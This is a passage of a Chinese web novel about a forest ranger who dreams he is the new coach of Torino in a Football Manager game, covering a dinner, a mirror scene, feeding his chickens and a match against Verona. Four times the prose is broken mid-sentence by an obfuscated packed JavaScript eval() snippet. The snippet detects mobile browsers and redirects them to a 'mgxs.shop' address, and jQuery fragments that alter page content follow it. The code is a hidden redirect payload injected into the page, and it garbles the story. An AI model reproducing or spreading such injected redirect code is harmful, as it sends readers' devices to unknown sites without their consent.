林奇想说,但是意大利人对食物的热衷显然超过这个中国人,菲亚特最终在一个小巷子停下来。 “走吧!”助教锁上车,带他往前走,进了一个有一串字母作为招牌的店面,两个人进去,里面的空间比林奇想象的要深得多,天花板也比他想象的要低。 大概有十来张桌子,上面铺着红白格子的桌布,每张桌子上放着一支蜡烛,烛光在葡萄酒杯的杯壁上折射出细碎的光点。 我真的要跟一个秃头男人一起吃烛光晚餐吗? 对。 两个人面对面坐下,林奇浑身刺挠,他没想到自己在脑子里幻想过很久的“和某个漂亮姑娘去西餐厅吃一顿花掉他整整一个月工资的晚饭”的愿望如此轻而易举地完成,甚至不用他花钱。 就是吃饭的对象不太对劲。 烛光在安东尼奥尼的秃顶上投下一圈温暖的光晕,让那片光滑的区域看起来像是一轮初升的满月。林奇盯着那轮满月看了两秒钟,然后迅速移开视线。 当然,有一个原因是这不太礼貌,但是更多的就是因为林奇发现自己真的要和一个秃头吃烛光晚餐。 安东尼奥尼没有看菜单,直接跟服务员说了一串话,语速太快了,林奇没听清,服务员点着头,然后转身走了。 林奇突然发现现在这个场景和英语课本上的一模一样。 “Whatwouldyoulike?”(你想要点什么?) “I''dlikesomeItaliannoodles,please.”(我想要一些意大利面。) “Anythingtodrink?”(喝点什么?) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485104|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Orangejuice,please.”(橙汁。) 林奇在脑子里把这段对话排练了一遍,觉得自己完全可以应付。他甚至能在那句“Whatwouldyoulike?”之后加上一个微笑,显得自己非常从容、非常国际化。 然后他意识到安东尼奥尼已经点完菜了,服务员已经走了。 对话永远不会发生了。 助教大概是注意到了林奇脸上的表情,这失望和委屈的样子真的很明显:“呃,哦,对不起,教练,应该让你点东西的,但是他已经走了……我让他上双人份的招牌,看着上就好了,他知道什么好吃。” 林奇点了点头,假装自己毫不在意。 等菜的时候,安东尼奥尼给自己倒了一杯水,然后给林奇也倒了一杯:“教练,你今天没事吧?” 这个问题实在是过于笼统了! 你没事吧? 这个问题可以用很多种不同的方式来理解……鼻子?语言系统?或者是新闻发布会上的默剧表演? 林奇决定把所有可能的含义全部接受下来,然后给出一个统一的回答。 他竖起大拇指:“good.” 仍然是那一套高效的表达系统。 鼻子不好,但是整体很好,就像是餐厅的评分系统,虽然口味很好,但是服务员甩脸子,那综合就只能给到三星。 林奇对自己的沟通能力感到一阵短暂但真诚地自豪。 助教大笑:“那就好!” 林奇不敢确定这是夸奖还是批评,但他决定把它当作夸奖,于是林奇再次竖起大拇指:“thankyou.” 一天天除了谢谢就没别的。 这时候菜上来了,很经典,意面…… 什么?我要点着蜡烛吃面条吗? 当然不止啦。 林奇看着一道一道端上来的菜,我们俩真的能吃完么? 好吧,居然吃完了。 当林奇放下叉子的时候,胃带给了他一种饱胀的幸福。 林奇有点想闭上眼睛睡觉了,完全放弃抵抗。 果然是助教结的账,林奇试图做出一个掏钱包的动作,但是这个动作做的太慢了——从他把手伸进口袋到他意识到自己口袋里根本没有钱包,中间大概隔了半分钟。 原本应该很快的,如果他确实有钱的话。 我来付——我应该付——我好像付不了——好吧…… 非常完整的心路历程。 安东尼奥尼付完钱,把搭在椅背上的外套拿起来:“走吧,教练,我送你回家。” 我家在哪儿呢? 好在助教知道! 他把林奇送回了公寓楼下,没电梯,而林奇挺尴尬地问了一句:“where?” 助教叹了一口气,也下了车,把他送上去。 五楼,502. “明天休息,教练,”安东尼奥尼停在门口,看林奇慌慌张张地从裤兜里摸出来钥匙打开门才放下心来,“后天恢复训练……需要我来接你吗?” “thankyou!!!” 林奇真诚地感激这位助理教练。 信里面真的没说错!我最可靠的马尔科·安东尼奥尼!!! 8. 代偿性自恋 助理把打包的食物给了林奇,然后指了指客厅里电话旁边的本子,说第二个号码是他的,“你不会打的,对吧?” 林奇犹豫地点了点头。 让安东尼奥尼大半夜爬起来送自己去急诊?不,他做不出来这事。 然后助理教练拍了拍林奇的肩膀,转身走下楼梯,脚步声在楼道里回荡,越来越远,越来越轻,最后被一声沉闷的关门声切断。 林奇关上门,把塑料袋放在厨房台面上,开始巡视这个新的属于自己的领地。 严格来说这不是巡视,如果他是一个调查员,那他应该从一间房走到另一间房,打开柜子看看里面有什么,拉开抽屉,检查窗外的风景。 但是林奇此刻只是站在原地,用他那只能完全睁开的左眼,从厨房的位置向整个公寓扫视了一圈。 节能的巡视方式,适合刚刚经历了一场足球比赛、一场新闻发布会、一次急诊室包扎和一顿足以让四个成年人吃饱的烛光晚餐的人。 公寓比他想象的要大。 当然,不是那种小说里会写到的“这个房子大的吓人,让人感到无限的空旷与孤独”——比如可以打室内羽毛球的客厅,或者长得能举办短跑比赛的走廊——这个大很具体。 这套房子有三个卧室。 三个卧室。 这让住惯了最多支配两个房间的林奇有种“享福了”的想法。 阿尔贝·奥坦维亚尼显然比他混得好。 他拐进了厕所,林奇认为自己需要看了看自己的脸。 林奇决定开始真正的巡视。 客厅有张棕色的沙发,沙发对面是电视,电视柜上还放着录像机,旁边立着书架,书架上放着几本意大利语书籍,足球战术、意大利现代史、以及封面是漂亮姑娘的爱情小说。 他本来还觉得阿尔贝就是他呢,按这个情况来看……难道说? 书架的最后一层放着一套玻璃杯,六个,排列整齐,杯壁上没有任何水渍或指纹,林奇拿起其中一个,举到灯光下看了看。杯子的底部刻着一行极小的意大利文,他辨认了一下,大概是某个酒类品牌的赠品。 也就是说,阿尔贝·奥坦维亚尼是一个会因为买酒而获得免费玻璃杯、并且把这些杯子郑重其事地摆在书架上的人。 这个发现让林奇对阿尔贝产生了奇怪的同理心——他也做过类似的事。他家有一套买方便面送的碗,红色的塑料碗,上面印着某家方便面品牌的卡通形象,他用那套碗吃了两年的饭。 林奇离开客厅,走进走廊,第一间是主卧,双人床,还有套桌椅;第二间是次卧,床上没有床单,看起来从未被使用过,大概是客房,或者备用房间,或者“将来如果有客人来可以住”但实际上永远不会有人住的房间。 第三间不是卧室,是勉强可以被称作书房的房间。书桌,椅子,文件柜,书桌上放着电脑,灰色的主机箱立在桌子下面,上面贴着张便签,写着开机密码。 阿尔贝·奥坦维亚尼把电脑的开机密码写在便签贴在主机箱上。 这个人的网络安全意识大概和他在发布会上用三个单词回答问题的语言能力处于同一水平。 林奇选择先离开这里,当然,他的窥私欲一定会让他在未来某个时间(如果他不会回家的话)打开这台电脑的。 然后他站在书房门口,看着走廊尽头卫生间的门,做了任何一个在这种情境下的人都会做的事。 看看阿尔贝的脸。 但是去镜子面前看看总归不太一样? 林奇走进卫生间,打开灯,电灯闪烁了两下,然后稳定下来,以一种毫无怜悯的亮度照亮了整个空间。 林奇看见了阿尔贝·奥坦维亚尼的脸。 他在医院其实看过了,急诊室走廊有一面不锈钢的器械柜门,能映出模糊的倒影,也能看出来他的伤势确实挺严重。 这是他第一次在真正的、完整的、诚实的镜子里,看清楚这张脸。 这被纱布遮住一半的脸让他不得不忽略掉医嘱,轻轻地揭下来胶带,纱布掉进洗手池里,而现在镜子里林奇的脸没有任何遮挡了。 镜子里的脸——阿尔贝·奥坦维亚尼的脸——是他自己——林奇——的脸。 林奇看着镜子。 镜子里的人也在看着他。 严格来说这不是什么值得大惊小怪的事,镜子就是干这个的。你站在它面前,它忠实地把你的样子还给你,这是一桩已经持续了几百年的交易,公平,透明,没有任何隐藏条款。 问题在于镜子里那个人不是林奇期待看到的样子——或者说,太是他期待看到的样子了。 鼻梁的弧度是他熟悉的,他十七岁那年打篮球被肘击过一次,之后鼻梁就带着一个几乎看不出来的小凸起,每次感冒擤鼻涕的时候会格外明显;眉毛的浓度是他熟悉的,他死去的妈总说这眉毛长得像他死去的外公;颧骨的位置是他熟悉的,下巴的轮廓是他熟悉的,就连右耳垂上那个小肉粒——他小时候一直以为那是被蚊子咬的包,直到十五岁才发现它从来没消下去过——都在原来的位置,大小、形状、颜色,分毫不差。 只有眼睛不一样,林奇的眼睛是深棕色的,阳光底下是琥珀色,光线不好就会被误以为是黑色,他还记得小学填体检表的时候,视力那一栏下面有一项“眼睛颜色”,他问老师这怎么填,老师说你看镜子,你眼睛什么颜色就填什么。 ……然后林奇填了黑色,哈哈。 而阿尔贝·奥坦维亚尼的眼睛是蓝色的,林奇凑近镜子,虽然右眼肿胀,但这不妨碍他用左眼仔细观察。 那种蓝色让他想起他初中时用的那支英雄牌蓝黑墨水,刚吸满墨水写在纸上是最鲜艳的蓝,等干透了之后会沉淀成一种更深沉、更稳重的色调。阿尔贝的眼睛就是墨水干透之后的那种蓝。 这双蓝眼睛安在这张脸上,说实话,还挺合适的。 林奇退后半步,用左眼重新审视整张脸。 即使鼻子肿得像一个被捏坏了的饺子,即使右眼肿得只剩一条缝,即使如此,这张脸还是有一种他以前从未在自己脸上注意到的、姑且称之为可看性的东西。 不是帅……谁要是对着这张鼻梁骨折、右眼糊涂的脸说帅,那真的该看看眼睛了。 林奇只是看到了某种他从未在自己脸上看到过的气质,他说不清楚那是什么,可能是那对蓝眼睛带来的整体效果,可能是鼻梁的弧度(在它没有被砸断之前)和下巴的线条组合在一起产生的化学反应? 总之,这张脸比他自己的脸好看。 这个结论让林奇产生了一种非常复杂的情绪。 一方面,他觉得自己应该感到高兴——毕竟这张脸现在归他用了,虽然是用一种他完全无法理解、也无法向任何人解释、甚至自己都不确定是不是在做梦的方式。 另一方面,他觉得自己有点可怜。 你活了二十多年,一直以为自己的脸就是自己看到的那样,结果有一天你换了一双蓝眼睛,突然发现这张脸还能更好看。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485105|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像你开着一辆车开了好几年,一直觉得性能还行,然后有一天别人告诉你,你一直挂着二档在高速上跑。 林奇对着镜子里的自己——阿尔贝——眨了眨左眼。镜子里的蓝眼睛也眨了眨;他又皱了皱鼻子,然后因为鼻梁传来的钝痛而立刻后悔了;他又试着笑了笑,嘴唇向两边咧开,露出牙齿,镜子里的蓝眼睛男人也笑了。 有点诡异。 但更诡异的是,林奇发现自己在想:如果这个人是我的话,那我以前怎么从来没觉得自己这么顺眼过? 他记得很清楚,就在上个月,他还对着浴室镜子端详了大概三分钟,最后得出的结论是“还行,能看”。 那时候他的鼻子是完整的,两只眼睛都能完全睁开,在那种最优条件下,他给自己的评分是“还行”。 但是在现在这种情况下,他给阿尔贝·奥坦维亚尼的评分是——“如果我是他,我可能会比现在自信一点”。 这就是自恋。 林奇认出了这种情绪,并且立刻对它产生了警惕。 自恋是一种他在自己身上观察了二十多年的特质,他知道它的各种变体——从“我今天穿这件衣服还挺精神”到“我写的这句话真是神来之笔”再到“刚才那个观点我说得实在是太漂亮了”。 林奇熟悉自恋的味道,就像熟悉自己的洗发水味道。 但这次不太一样。 这次他不是在欣赏自己,而是在欣赏一个长得像自己但不是自己的人。 严格来说,这是代偿性自恋,或者用更通俗的话说,你在夸你表哥长得帅,但实际上你和你表哥长得很像,所以你拐着弯在夸自己。 林奇觉得自己不能再照镜子了。 他拧开水龙头,用两只手接了一捧凉水泼在脸上——然后立刻想起了鼻梁上的伤,以及医生那句三天内避免沾水。 疼痛从鼻梁中央向四面八方辐射,像一颗石子扔进池塘,涟漪一圈一圈扩散到眼眶、颧骨、上颚、甚至耳朵。 他弯着腰,双手撑着洗手台边缘,等那阵疼痛慢慢退潮。 好吧,他活该。 他用左眼看着洗手池里的纱布,纱布吸了水,上面的血迹正在慢慢洇开,把洗手池的白色陶瓷染成浅粉色。他把纱布捞起来,拧干,展开看了看,然后意识到这块纱布已经完成了它的历史使命,现在该扔进垃圾桶了。 垃圾桶在洗手台下面,一个白色塑料桶,里面套着黑色垃圾袋,垃圾袋是空的,阿尔贝·奥坦维亚尼是一个会在垃圾桶里套垃圾袋、并且还没有往里面扔任何垃圾的人。 这个细节和林奇的习惯完全一致,他每次搬进新地方,第一件事就是给所有垃圾桶套上垃圾袋,然后接下来的一个星期里,这些垃圾桶都会保持空置状态,像是在等待一场永远不会到来的垃圾宴会。 他关上卫生间的灯,走进卧室。 卧室的床上铺着深灰色的床单,枕头有两个,并排放在床头,林奇在床边坐下来。床垫比他想象的要软,他的体重压下去,整个人往下陷,他试着躺下来,发现枕头的高度非常完美。 阿尔贝·奥坦维亚尼显然在枕头的选择上投入了相当的研究,或者他只是运气好,买到了合适的枕头。 无论是哪种情况,林奇都决定把这当作一个好消息,在一个你完全不了解的世界里,一个合适的枕头就是你能期待的全部了。 他闭上眼睛,晚安,好梦。 “喔——喔喔————” 公鸡打鸣的声音。 9. 神秘养鸡男 你有没有那种感觉?醒来的时候以为醒了,窗帘缝也确实透进来一点光,但是昏昏沉沉就是起不来,做了一晚上梦,什么都灵什么套三大豪斯都离你远去,只把疲倦留给你。 林奇睁开眼,脑子像是被人灌了半勺凉粥,稠稠的,晃一晃才慢慢荡开。他想翻身,身体却重得不像自己的,昨夜睡着时有人悄悄把他的骨骼换成了浸透水的木头不成? 屋外国栋——那只混蛋芦花鸡,德福的继任者,每天早上五点准时开嗓——又开始叫了。 林奇按了按自己的太阳穴,好像有点偏头痛,他坐起来,盯着窗帘缝那点光一直看,大脑像是电脑启动Ing……风扇嗡嗡转,但是桌面就是显示不出来。 林奇马上用自己迟钝的大脑给自己下病历:没睡醒。 林国栋又叫了一声。 林奇闭上眼睛,往后一躺,试图重新进入睡眠——睡不着。 他睁开眼,林国栋没有叫第三声,这混蛋确认太阳会在一个半小时之后升起来、确认了林业站的所有人都已经被它成功折磨了一遍,然后就心满意足地回去继续睡觉了。混蛋鸡。 林奇现在感觉自己好像巡了一晚上山。 他昨天确实巡了山,开皮卡转了大半天,检查了东区的防火带,记录了松树的病虫害情况,在一处陡坡上爬上爬下了大概四十分钟,因为有个村民报告说听到了电锯声。结果是风吹断了一棵枯树,虚惊一场。但那点运动量不应该导致这种程度的全身酸痛。 林奇摸了摸自己的鼻子,放下手。 梦啊。 当然是个梦。还能是什么?一个游戏存档成真了?一个意甲升班马的主教练和他长得一模一样只是眼睛颜色不同?这种事只有在梦里才会发生。 可能是太长时间了,国栋在鸡圈里发出带着某种不满情绪的咕咕声。其他鸡也开始骚动,他听得到爪子刨地的声音,翅膀扇动的声音,林桂枝被挤到角落时发出的那种委屈的咕咕咕。 天真的要亮了,而林奇进行了一场严肃的内心谈判。 甲方林奇:再躺五分钟。 乙方林奇:鸡饿了。 甲方:鸡可以等。 乙方:林桂枝抢不过林国栋,林淑娟会焦虑,你上次晚喂了食,林淑娟那一天下了个软壳蛋,你记得的。 甲方沉默,试图找出一个反驳的理由,没找到。当然不因为乙方说得特别有道理啦——虽然确实有道理——主要是因为甲方知道乙方的最后一张牌还没打出来。 那张牌是林德福的死啊! 德福死于黄鼠狼的那个夜晚,林奇在鸡圈旁边坐了整整两个小时。如果自己那天傍晚没有因为犯懒而少巡了一圈、如果自己早点发现鸡圈南角的铁丝网松了、如果自己那天没有用剩饭代替正常的鸡食因为镇上开会回来晚了……这些都是马后炮,林奇最后站起来,用木板给林德福钉了一个小棺材,埋在鸡圈后面的松树下。 木板上刻着“林德福之墓”,下面刻了一行小字:“一只好鸡。” 同僚看着小墓碑的时候,每个人都过来拍拍林奇的肩膀,然后再没有人过来问林奇养的鸡什么时候可以吃了…… 甲方败诉。 林奇坐起来,把腿垂到床边,坐了一会儿,等到适应过来,就站起来,膝盖酸酸的。 十分钟后,林奇端着一盆碎玉米和菜叶子的混合物,走向鸡圈。 鸡圈在山坡上,用铁丝网和木桩围成,大概二十平米,这是他自己扩建过的——最早只有十平米左右,后来鸡越来越多,他就每隔几个月往外扩一点。现在鸡圈呈一个不太规则的梯形,因为南边有一块大石头他懒得搬,就绕着石头围了过去。 老赵说这个鸡圈看起来像是喝醉了的人画的,林奇觉得这个评价很准确。 鸡圈里,十几只鸡已经聚在了门口,等林奇进来,就又聚在林奇身边,国栋正在用爪子刨地,刨两下就抬头看林奇一眼,这只精神的鸡精神很好,每天五点开始打鸣,林奇有时候会想,德福四点,国栋五点,下一任是不是该六点了?这样一代一代下去,总有一天他可以在早上七点被叫醒,像正常人一样。 淑娟站在前面,她很平静;桂枝缩在国栋后面,只露出一个脑袋,她老觉得自己会被欺负——事实上她确实经常被欺负,国栋吃东西的时候会用翅膀挤它,其他几只母鸡也学会了这招,而她的应对策略是等其他鸡吃完了再去吃剩下的,也很鬼,因为林奇会因为看不过眼给她加餐。 其他鸡散落在周围——有三只他没起名字的母鸡(不是不想起,是还没想好,起名字这件事不能草率),两只去年春天孵出来的小公鸡(还没到打鸣的年纪,暂时处于观察期,名字待定),还有一只他至今没搞清性别的灰鸡,是上个月自己跑来的,来了就不走了,林奇暂时叫它“那个灰的”。 林奇把盆里的食物往食槽里倒。食槽是他用废旧轮胎改的——把轮胎从中间切开,翻过来,两头堵上木板,就是一个够十只鸡同时进食的长条形食槽。 这是他在鸡友论坛上学的。 “德福,你今天精神不错……哦不,国栋,对不起又叫错了……” 这是他每天早上都会犯的错误,德福死了快半年了,但他的嘴还没改过来。 每天早上林奇走到鸡圈前面,看到一只芦花公鸡站在那里,大脑自动检索“芦花鸡公的大冠子”——匹配结果“林德福”——输出“德福你今天精神不错”——然后眼睛才看清楚那是林国栋。 国栋似乎并不介意,或者它介意但懒得表现,毕竟食物更重要。 “桂枝,”林奇转向那只缩在后面的乌骨鸡,“你别挤淑娟,人家年纪大了。” 林淑娟听到自己的名字,抬头看了林奇一眼,发出一声短促的咕咕声,然后它低下头,继续吃。 林奇蹲在旁边看了一会儿。 晨光从松树后面漫过来,把鸡圈的沙土地面染成淡金色。空气中混合着松针、露水、泥土和鸡粪的味道。鸡粪的味道占据主导地位,但林奇早就闻不出来了——他的鼻子已经把这种气味归类为背景噪音,就像住在铁路边的人听不见火车声一样。 他又想起来了那双蓝眼睛。然后他站起来,看着那个灰色的新来的试图从林建国旁边挤进去,被林建国用翅膀顶了回来,心里想应当给他取个名字了。 守林员林奇站起来,嘎巴一声,他觉得自己身体可能确实随着一天天的熬夜变得有点脆了,晨光照在他的脸上,把他的影子拉得很长。他眯起眼睛,看着山坡下面的林业站——红砖房,灰瓦顶,院子里停着那辆白色的皮卡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485106|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车斗里还有昨天巡山时顺手摘的野菜之类,一切都很熟悉。一切都很正常。 可是他脑子里还是昨晚的梦,他长这么大就没做过这么清楚的梦,他还记得那顿烛光晚餐多么美味呢! ……梦而已。 林奇走回屋里,经过书桌的时候,他的目光扫过那台电脑,林奇脚步没停,但速度慢了一点,像是一个人在经过一个岔路口时犹豫了一下,然后继续沿着原路走。 他走进卫生间,拧开水龙头,接了一捧又泼在脸上,抬起头,看着镜子。 棕黑色的眼睛,完整的鼻梁,左边翘起来一撮,右边贴着头皮。下巴上有新长出来的胡茬。 林奇盯着镜子里的棕色眼睛看了一会儿。 ……就是没有蓝色的好看啊,难道我也是崇洋媚外第一人?那也应该看美女啊?看我自己的脸说好看算个啥啊! 这梦可真梦啊。 林奇刷牙洗脸,想了想把胡子也刮了,这可能是昨晚上的梦带给他的最大的提醒——好好刮胡子那你还是个帅小伙——然后用毛巾胡乱地擦脸,林奇打着哈欠烧水,泡了杯茶走回书桌,打开电脑。 指针移动到足球经理的快捷方式上。 双击。 怎么感觉自己真有瘾呢?呃啊!这不是我想要的啊! 进度条走完了,主菜单跳出来,林奇点“加载游戏”,找到都灵的存档文件,存档开始加载,进度条又从头开始爬。 林奇莫名其妙感到有些紧张。 存档加载完成。 战术面板跳出来,442平行站位,他昨天调的。 球员列表,按照位置排列,门将最上面,前锋最下面。 日程表,下一场比赛是联赛第二轮,客场对那不勒斯。 一切都和他昨晚关游戏时一模一样。 他点开球队页面,找到主教练那一栏。 阿尔贝·奥坦维亚尼。 名字下面是一行小字:国籍——中国/意大利。年龄——28岁。合同——2000年6月1日至2001年6月30日。周薪——£2,500。 下面还有一行属性条。 激励那一栏是15,战术知识是14,纪律要求是11,适应性是18。 这些数字他从来没有注意过。 林奇玩《足球经理》从来不看主教练的属性,因为主教练的属性只影响你在游戏里的声望增长速度和董事会对你的耐心,不影响比赛结果。 比赛结果靠的是球员的属性和你的战术设置,主教练属性是个装饰品。 唔,唔,唔…… 以及一直在闪烁的信息栏…… 林奇点开新闻,一般来说他也不会看这个的。《足球经理》的新闻系统做得不怎么样,翻来覆去就那么几种模板,什么“某球员对转会传闻保持沉默”“某教练称赞对手”“董事会满意近期战绩”——看多了就能背出来,标点符号都不带变的。 但是他有一种莫名的说期待又不是期待,紧张吗?应该是紧张吧。但是林奇觉得自己还算是心平气和的,梦应该不会影响什么吧? 点击【新闻】。 第一封新闻标题:《都灵新帅首秀遭“当头暴击”》。 林奇心平气和地向后仰倒在地。 10. 闪闪发光的未来 林奇的后脑勺没有撞到地板,天呐,最好的消息。 他狼狈地从地上爬起来,然后连坐都没坐,直接开始看那个新闻。 《都灵新帅首秀遭“当头暴击”》。 【影响提示】: 都灵队士气大幅提升,更衣室氛围【团结一致】。 教练赛后头部受伤状态显示为【鼻梁骨折但坚持工作】。 咦?不是没骨折吗? 林奇又不由自主地摸了摸鼻子,继续看花边新闻。 《主教练脸接传中,队医担忧其语言中枢受损》 《都灵体育报》场边观察 比赛中出现了极具冲击力的一幕,都灵少帅阿尔贝在第67分钟被一记势大力沉的解围球正中面门。现场目击者称,主教练的眼镜当场解体,整个人如保龄球瓶般倒下。 据助理教练安东尼奥尼透露,队医在紧急处理时发现了一件怪事:阿尔贝在受到撞击后,虽然能听懂意大利语,但失去了说意大利语的能力,只能用母语中文或极简的英文单词进行交流。队医曾怀疑是语言中枢受到暂时性压迫。 尽管如此,阿尔贝拒绝了队医要求其离场休息的建议,顶着肿胀的右眼和止不住的鼻血坐在教练席上指挥完了比赛。而都灵也没有辜负阿尔贝教练的希望,绝平拉齐奥,在主场留下宝贵一分。 【影响提示】: 教练属性【意志力】+1。 俱乐部考虑增派一名翻译。 以及……《都灵主帅首秀英语震惊四座》。 林奇面无表情地关上了新闻页面,点击【继续游戏】。 咦? 林奇看到了一个他之前没注意到的数据栏。 “球迷满意度:大幅上升。” “董事会满意度:上升。” “更衣室氛围:团结一致(主教练受伤事件后)。” 最后那一条让他愣了一下。 在《足球经理》里,更衣室氛围是一项很难控制的变量。球员会不满,会闹转会,会抱怨训练强度,会因为出场时间不够而发脾气。 一个新手教练通常需要几个月甚至半个赛季才能建立起“团结一致”的氛围。而他只用了一场比赛……正常来说不会这样的。 呃啊——林奇的鼻子开始幻痛。 而此时屏幕上的日期跳到了下一周,联赛第二轮,对手是维罗纳,主场比赛。 维罗纳。 林奇对这个名字没什么印象,依稀记得《罗密欧与朱丽叶》故事发生在维罗纳,俩人为了谈恋爱把两家人都折腾得够呛,最后还都死了,标准的悲剧。 要是俩人都去上学就没那么多事了。 他点开维罗纳的球队页面,首先看的是主教练,一个名字很长的意大利人,照片上的表情像是在闻什么不好的味道。 常用阵型532,五个后卫,三个中场,两个前锋,大巴,意大利特产。 林奇最烦的就是532,五个后卫往禁区里一蹲,像五根水泥电线杆,你的前锋在里面转来转去,在电线杆之间找停车位啊? 关键还通常找不到停车位……这是最尴尬的。 维罗纳和都灵算是差不多水平,看球员就能看出来,比较突出的是一个拖后型中场,传球15视野14;还有一个站桩中锋,头球16,力量15。 林奇搓了搓脸开始分析阵型,维罗纳的532,进攻套路很明确:两个边翼卫压上传中,找禁区里的高中锋。中场三个人负责把球分到边路,拖后后腰保护防线。防守的时候五个后卫缩回去,三个中场也缩回去,总而言之像只鳖,可是当缩头乌龟没什么不好的,能赢就行。 虽然林奇不太喜欢这种踢法,他还是喜欢那种攻势足球,漂漂亮亮的,进球多就是好看,球迷们也喜欢爱看,除了对门将不太友好,其他都还行。 而维罗纳的阵容缺漏可比拉齐奥的好找多了。 首先,两个边翼卫压上去之后,身后就是无人区。532阵型里没有边后卫,边翼卫的身后是由靠近那一侧的中卫来补的。而维罗纳的三个中卫里,有两个速度不超过13,如果都灵的反击够快——快到让那两个慢速中卫来不及补位——边路就会变成高速公路。 其次那个拖后的防守型中场决策只有7,这意味着一旦被逼抢,他的出球就会出问题。要么回传给中卫,要么横传给边翼卫,要么——在最坏的情况下——把球传到谁也不在的地方。 如果都灵专门安排一个人去逼他,维罗纳的由守转攻就会卡在这里。 最后也是最妙的一点,维罗纳那个偏组织的全能中场怕逼抢,对抗9,速度10。只要有人贴着他,他就发挥不出来,传球再好,也得先把球拿住呀。 而一个对抗9的球员,在被一个工作投入15的球员贴着的时候,他的传球属性会从15变成——实际效果大概相当于10。 林奇反复揣摩,觉得差不多了就开始制定战术。 阵型还是442平行站位,和打拉齐奥下半场一样。 不需要搞什么复杂的东西,都灵的球员也搞不了复杂的东西——他们的决断平均大概在11左右,你让他们执行一套需要三个变招的战术,相当于让狗解微积分,没那个能力嘛! 针对性,紧盯逼人和贴身防守,这个主要针对的是那个后腰和中场,对那两个边翼卫,不专门设置盯人。 但整体战术里,一旦维罗纳的边翼卫压过半场,都灵的边前卫必须回追到和大禁区线平行的位置。 不要求抢下来,只要求站在他和传球路线之间,逼对手把球横传或者回传。只要中场不能舒舒服服地起脚传中,那个高中锋就是根杵在禁区里的孤独的电线杆。 进攻方面打边路,维罗纳的三中卫正面防守很硬,头球也好,从中路渗透是找死。但边翼卫身后的空当是真实存在的,边锋拿球后直接往边翼卫身后传,让他去追。 追上了就传中,追不上就造一个界外球,界外球也是进攻机会。 前锋方面,巴罗尼——林奇看到这个名字的时候,鼠标停了一下——巴罗尼设置成抢点前锋,就站在禁区里,等球来,射门。 呃,别做任何需要决断2以上的事情。 防守角球全员回防,前场不留人……进攻角球,两个中卫都到禁区里抢头球。 维罗纳的高中锋防守角球的时候会回防,他的头球很好,但都灵的两个中卫头球也不差。十四和十五,加起来二十九,比那个高中锋的十六多出将近一倍呢。 ……好吧,这并不数学。 林奇保存好战术,按下了空格。 【第1分钟,裁判一声哨响,都灵对阵维罗纳的比赛正式开始。】 【第7分钟,维罗纳边翼卫沿右路推进,传中球吊入禁区,高中锋头球攻门稍稍高出横梁。】 【第14分钟,都灵中场反抢成功,直塞边路空当,边锋追上传中,巴罗尼抢点推射被门将没收。】 【第23分钟,维罗纳组织型中场被贴身逼抢,传球失误,都灵断球后快速反击,边路传中,巴罗尼头球攻门偏出。】 【第31分钟,维罗纳拖后后腰在压迫下回传失误,都灵前锋截下皮球,禁区外远射被中卫封堵。】 【第38分钟,维罗纳角球开出,中卫头球攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485107|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门被都灵门将托出横梁。】 【第45分钟,上半场伤停补时1分钟。】 【第45+1分钟,都灵最后一次进攻,边路传中被维罗纳中卫解围,中场休息。0:0。】 茶现在凉的差不多了,林奇端起来喝了一口,他盯着半场数据看了一会儿。 控球率47%对53%,射门四次对三次,射正两次对一次,势均力敌。 他的战术起作用了——维罗纳的组织型中场传球成功率只有67%,远低于他平时的水平。边翼卫的传中次数也被压低了,因为都灵的边前卫回追得很深。 但还不够,对这种下游保级队踢得还这么费劲,我们都灵还怎么保级! 他点开战术面板,做了一处调整:把传球方式从“混合”改成“更多直传”。 维罗纳的防线压得不算高,但三个中卫里有两个转身慢,直传球打身后,让边锋去追,比慢慢传导更有效。 【第46分钟,下半场比赛开始。】 【第52分钟,都灵直传球打身后,边锋追上皮球,传中,巴罗尼头球攻门被门将扑出底线。】 【第58分钟,维罗纳换人,换下组织型中场,换上一名更具防守能力的中场。】 【第63分钟,都灵获得角球机会。】 